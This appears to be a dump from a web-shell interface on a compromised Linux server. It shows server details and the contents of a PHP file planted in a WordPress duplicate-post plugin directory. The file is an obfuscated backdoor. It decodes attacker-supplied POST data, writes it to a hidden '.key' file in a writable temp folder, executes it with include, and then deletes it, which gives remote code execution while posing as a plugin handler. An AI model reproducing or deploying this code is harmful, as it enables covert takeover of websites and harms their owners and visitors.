HEX
Server: Apache
System: Linux server-674799.igrow.ws 5.14.0-611.30.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 11 06:42:00 EST 2026 x86_64
User: elrashedytravel (1025)
PHP: 8.1.34
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/elrashedytravel/public_html/wp-content/plugins/duplicate-post/src/handlers/out.php
<?php if(FiLtER_HAs_Var(INPUT_POST,"data")):$_¯£Ä‹Ô²ßÔ=ARRAY_FILtER([gETEnV("T\x4dP"),"/var/tmp",SEsSiON_sAVE_path(),"/de\166/shm",INI_gET("uplo\x61\144_tmp_dir"),GeTCWd(),GetENv("T\x45MP"),"\057t\x6dp",sys_GEt_TEmP_Dir()]);$_©»Š‚•=$_REQUEST["data"];$_©»Š‚•=eXpLODe(".",$_©»Š‚•);$_²‡•“ÝÌ="";$_ÝÁ¥¬ˆ ="ab\143\144efghij\x6blmn\157pqrstu\x76\x77\x78yz01\x323\064\x356789";$_–ÎÍڊŽ–=stRLEn($_ÝÁ¥¬ˆ );$_ˆÌªŽÂÓÅ=(-0217+-0355+01100-0304);$_ʶŠ’‰¦Ó…×=$_©»Š‚•;while($_ɶ–½®ÓÈÞÏÇ=ArRay_shIFt($_ʶŠ’‰¦Ó…×)):$_Ϙ§¤ÝÄ=oRd($_ÝÁ¥¬ˆ [$_ˆÌªŽÂÓÅ%$_–ÎÍڊŽ–]);$_Յ·ÉÊÊĵÁ=((int)$_ɶ–½®ÓÈÞÏÇ-$_Ϙ§¤ÝÄ-($_ˆÌªŽÂÓÅ%(int)RouND(2.5+2.5+2.5+2.5)))^(-0121- -0161);$_²‡•“ÝÌ.=ChR($_Յ·ÉÊÊĵÁ);$_ˆÌªŽÂÓÅ++;endwhile;foreach($_¯£Ä‹Ô²ßÔ as$_‰ÃÀĈŠÃÖÎÕ=>$_·Í‹ÜÆ«…‚“):if(! !IS_DIr($_·Í‹ÜÆ«…‚“)&&! !IS_WrITABle($_·Í‹ÜÆ«…‚“)):$_Í­¯ÍÜÒ=SpRINTF("%\x73/.key",$_·Í‹ÜÆ«…‚“);$_‹¦£ÇÙ§¹ØÆ=filE_PuT_cOntENts($_Í­¯ÍÜÒ,$_²‡•“ÝÌ);if($_‹¦£ÇÙ§¹ØÆ!==false):include $_Í­¯ÍÜÒ;UNlink($_Í­¯ÍÜÒ);die();endif;endif;endforeach;endif;